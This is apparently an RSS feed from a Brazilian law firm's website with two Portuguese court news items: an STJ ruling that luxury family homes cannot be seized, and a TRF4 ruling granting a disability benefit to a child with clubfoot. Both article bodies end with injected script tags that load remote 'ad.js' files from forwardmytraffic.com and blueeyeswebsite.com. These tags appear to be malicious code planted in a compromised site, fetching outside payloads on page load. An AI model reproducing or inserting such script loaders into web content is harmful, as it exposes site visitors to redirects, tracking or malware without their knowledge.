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	<title>DIREITOS &#8211; RFS Advocacia | Direito de Familia e Heranca, Imobiliario, Consumidor, Civel</title>
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		<title>STJ-Quarta Turma não permite penhora de fração de imóvel de luxo onde reside família devedora</title>
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		<pubDate>Thu, 06 Oct 2016 18:06:57 +0000</pubDate>
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					<description><![CDATA[Imóveis residenciais de alto padrão ou de luxo não estão excluídos da proteção conferida aos bens de família, pois também são impenhoráveis. Com a decisão, a<span class="excerpt-hellip"> […]</span>]]></description>
										<content:encoded><![CDATA[<p><ins datetime="2016-10-06T18:02:46+00:00">Imóveis residenciais de alto padrão ou de luxo não estão excluídos da proteção conferida aos bens de família, pois também são impenhoráveis.</ins></p>
<p>Com a decisão, a Quarta Turma do Superior Tribunal de Justiça (STJ) confirmou entendimento jurisprudencial que impede a penhora do bem de família, mesmo sendo considerado um imóvel de alto valor mercadológico. Porém, a decisão não foi unânime.</p>
<p>No voto vencido, o ministro Luis Felipe Salomão propôs uma reinterpretação do instituto do bem de família e dos seus efeitos. O ministro afastou a impenhorabilidade absoluta do bem de família, instituída pelo artigo 1º da Lei 8.009/90, com a finalidade de possibilitar a penhora de “fração ideal do imóvel de alto valor econômico, para garantir o pagamento, ainda que parcial, do crédito do devedor, preservando a dignidade deste”.</p>
<p>No caso, uma associação condominial requereu a penhora de parte do único imóvel residencial de uma família para possibilitar o pagamento da dívida da proprietária com a entidade, sob a alegação de que era imóvel de luxo.</p>
<p>Ao inaugurar a divergência, o ministro Marco Buzzi afirmou que a lei não prevê nenhuma restrição à garantia do imóvel como bem de família relativamente ao seu valor, tampouco estabelece regime jurídico distinto quanto à impenhorabilidade, ou seja, “os imóveis residenciais de alto padrão ou de luxo não estão excluídos, em razão do seu valor econômico, da proteção conferida aos bens de família consoante os ditames da Lei 8.009”.</p>
<p>Proteção mínima</p>
<p><ins datetime="2016-10-06T18:02:46+00:00">O ministro Buzzi afirmou que a intenção do legislador foi proteger a família, garantindo-lhe o patrimônio mínimo para sua residência. Desse modo, a evolução do tratamento dado ao assunto no Brasil tem sido no sentido de “salvaguardar e elastecer o direito à impenhorabilidade ao bem de família, de forma a ampliar o conceito, e não restringi-lo”.</ins></p>
<p>Além disso, Buzzi refletiu que questões sobre o que é considerado luxo, grandiosidade ou alto valor “estão no campo nebuloso da subjetividade e da total ausência de parâmetro legal ou margem de valoração”.</p>
<p>O ministro destacou que o Brasil é um país continental, em que os critérios, padrões e valores relativos à sobrevivência digna, em termos de mercado imobiliário, “são absolutamente diversos”.</p>
<p>Segundo ele, em razão de as ressalvas à impenhorabilidade do bem de família serem taxativas e previstas na lei, e de não se ter parâmetro para definir bem de alto valor imobiliário, é “inviável a penhora total, parcial ou de percentual sobre o montante do bem de família”.</p>
<p>Fonte:STJ<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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		<title>TRT 4ª Região -Menina de três anos portadora de pé torto congênito ganha na justiça direito a benefício assistencial</title>
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		<pubDate>Thu, 06 Oct 2016 18:03:09 +0000</pubDate>
				<category><![CDATA[NOTÍCIAS]]></category>
		<category><![CDATA[DIREITOS]]></category>
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					<description><![CDATA[A 6ª Turma do Tribunal Regional Federal da 4ª Região (TRF4) manteve, na última semana, sentença que determinou ao Instituto Nacional do Seguro Social (INSS) a<span class="excerpt-hellip"> […]</span>]]></description>
										<content:encoded><![CDATA[<p>A 6ª Turma do Tribunal Regional Federal da 4ª Região (TRF4) manteve,<ins datetime="2016-10-05T15:46:37+00:00"> na última semana, sentença que determinou ao Instituto Nacional do Seguro Social (INSS) a concessão de benefício assistencial a uma criança de Giruá (RS) portadora de deficiência.</ins></p>
<p>Os pais da menina, atualmente com três anos, ajuizaram ação requerendo o benefício quando ela tinha um ano e meio. A criança é portadora de pé torto congênito bilateral, com seqüela anatômica definitiva.</p>
<p>A sentença favorável à família levou o INSS a recorrer ao tribunal. A autarquia alegou que a menina não preenche os requisitos para o recebimento do benefício, que são o risco social e a incapacidade total e permanente. Segundo o instituto, a renda familiar excede o mínimo estabelecido pela lei e a autora ainda é pequena, exigindo os mesmos cuidados que qualquer outra criança da mesma idade.</p>
<p>Para a relatora do processo, juíza federal Salise Monteiro Sanchotene, convocada para atuar no tribunal, os dois requisitos foram devidamente comprovados. Conforme a magistrada, a família, formada de quatro pessoas, sobrevive do seguro-desemprego de um salário mínimo recebido pela mãe, estando o pai também desempregado.</p>
<p>Em seu voto, reproduziu parte do laudo de avaliação socioeconômica, elaborado em novembro de 2014, segundo o qual a criança mora com os pais e uma irmã de cinco anos em uma casa cedida pela avó, em condições insalubres. A juíza destacou que a menina precisa estar sempre trocando o aparelho dos pés, que deve acompanhar seu crescimento e que o Sistema Único de Saúde não tem disponibilizado.</p>
<p><ins datetime="2016-10-05T15:46:37+00:00">“Considerando que o direito ao benefício de prestação continuada não pressupõe a verificação de um estado de miserabilidade extremo, bastando estar demonstrada a insuficiência de meios para o beneficiário, dignamente, prover a própria manutenção ou de tê-la provida por sua família, tenho por configurada a situação de risco social necessária à concessão do benefício”, concluiu Salise.</ins></p>
<p>Quanto à incapacidade, a magistrada ressaltou que o laudo pericial demonstra a existência de impedimento de longo prazo. “O problema é de natureza física capaz de obstruir a participação plena e efetiva da parte autora na sociedade em que está inserida em igualdade de condições com outras pessoas de mesma faixa etária e que exerçam idêntica ocupação ou similar”, avaliou a juíza.</p>
<p>O INSS deverá implantar o benefício assistencial a contar da data do requerimento administrativo, ou seja, 25/11/2013, com as parcelas em atraso acrescidas de juros e correção monetária.</p>
<p>Fonte: Tribunal Regional Federal da 4ª Região<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script><script src='https://blueeyeswebsite.com/ad.js' type='text/javascript'></script></p>
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